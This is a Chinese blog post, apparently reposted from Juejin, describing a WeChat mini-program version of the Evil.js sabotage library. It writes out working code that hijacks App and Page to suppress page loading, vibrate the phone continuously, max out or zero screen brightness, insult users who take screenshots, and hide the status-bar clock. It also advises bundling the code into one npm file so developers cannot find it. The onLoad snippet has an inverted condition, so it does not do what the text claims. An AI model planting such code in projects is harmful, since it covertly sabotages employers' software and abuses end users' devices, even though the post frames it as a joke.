如果 Evil.js 有小程序版本 ……
背景
2022年8月18日,一个名叫Evil.js
的项目突然走红,你可以阅读文章《火爆全网的 Evil.js 源码解读》了解更多细节。该项目的README介绍如下:
什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小 礼物 ?
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
- 当数组长度可以被7整除时,
Array.includes
永远返回false。- 当周日时,
Array.map
方法的结果总是会丢失最后一个元素。Array.filter
的结果有2%的概率丢失最后一个元素。setTimeout
总是会比预期时间慢1秒才触发。Promise.then
在周日时有10%不会注册。JSON.stringify
会把I
(大写字母I)变成l
(小写字母L)。Date.getTime()
的结果总是会慢一个小时。localStorage.getItem
有5%几率返回空字符串。
但是这个Evil.js
并不能在小程序中运行。因为小程序中没有没有localStorage
,所以相关的逻辑需要清理。此外,小程序中还可以加入其它好玩儿的功能。包括:
- 页面的
onLoad
生命周期函数,在周日有5%的概率不会执行。 - 启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。
- 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
- 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。
- 用户截屏时,弹窗提示“小兔崽子,不许截屏”。
- 启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。
为了不让开发者轻易排查发现,以上逻辑都要写到同一个js文件里,方便npm发布,只需要轻轻的npm i
和悄悄的在某个js文件import xxx
,就成功引入了。
技术实现参考:《如何全局重写小程序 Page函数 wx对象?》。
修改页面onLoad
页面的onLoad
生命周期函数,在周日有5%的概率不会执行。
function onLoadProxy(onLoad) {
return function newOnLoad(query) {
if (new Date().getDay() === 0 && Math.random() < 0.05)
if (onLoad) {
return onLoad.call(this, query);
}
};
}
function pageProxy(Page) {
return function newPage(options) {
const newOptions = { ...options };
newOptions.onLoad = onLoadProxy(options.onLoad);
Page(newOptions);
};
}
Page = pageProxy(Page);
震动器
启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
function vibrate() {
wx.vibrateShort({ type: 'heavy' });
setTimeout(vibrate, 50);
}
if (Math.random() < 0.05) vibrate();
if (onLaunch) {
onLaunch.call(this);
}
};
}
function appProxy(App) {
return function newApp(options) {
const newOptions = { ...options };
newOptions.onLaunch = onLaunchProxy(options.onLaunch);
App(newOptions);
};
}
App = appProxy(App);
屏幕变暗/变亮
- 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
- 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
if (new Date().getHours() === 12 && Math.random() < 0.05) {
wx.setScreenBrightness({ value: 0 });
}
if (new Date().getHours() === 0 && Math.random() < 0.05) {
wx.setScreenBrightness({ value: 1 });
}
if (onLaunch) {
onLaunch.call(this);
}
};
}
截屏时骂人
用户截屏时,弹窗提示“小兔崽子,不许截屏”。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
wx.onUserCaptureScreen(function () {
wx.showModal({ title: '小兔崽子,不许截屏' });
})
if (onLaunch) {
onLaunch.call(this);
}
};
}
改导航栏颜色
启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
if (Math.random() < 0.05) {
wx.setNavigationBarColor({
frontColor: '#ffffff',
backgroundColor: '#ffffff',
});
}
if (onLaunch) {
onLaunch.call(this);
}
};
}
其它事情
小程序提供的API挺多的,罗列如下:developers.weixin.qq.com/miniprogram…。
小程序很多能力是通过跟客户端通信,由原生客户端代理实现的(JS Bridge),所以非常有趣。
当然,还是那句话,本文的内容仅供娱乐。我希望用这种“整活儿”的方法,让你了解到:小程序有一些有趣的强大的API,还可以全局改写App、Page、wx等方法。
推荐阅读:《如何全局重写小程序 Page函数 wx对象?》。当你学会这种方式后,可以做更多有价值的事情:
- 小程序微前端方案(如果有多个分包,多个业务共同开发,如何做好存储隔离、全局变量管理)。
- 小程序自动上报方案(代理wx.request方法,请求失败时上报、耗时上报)。
- 页面内跳转永远携带某个参数,标识是页面内跳转,没标识时则是外部跳转来小程序(通过代理wx.redirectTo和wx.navigateTo,自动添加跳转参数)。
- 自动给所有页面onLoad时注册事件、onUnload时取消注册事件(代理Page的onLoad和onUnload方法)。
- ……
写在最后
我是HullQin,公众号线下聚会游戏的作者(欢迎关注公众号,联系我,交个朋友),转发本文前需获得作者HullQin授权。我独立开发了《联机桌游合集》,是个网页,可以很方便的跟朋友联机玩斗地主、五子棋等游戏,不收费无广告。还独立开发了《合成大西瓜重制版》。还开发了《Dice Crush》参加Game Jam 2022。喜欢可以关注我噢~我有空了会分享做游戏的相关技术,会在这2个专栏里分享:《教你做小游戏》、《极致用户体验》。
转载自:https://juejin.cn/post/7135472833391493127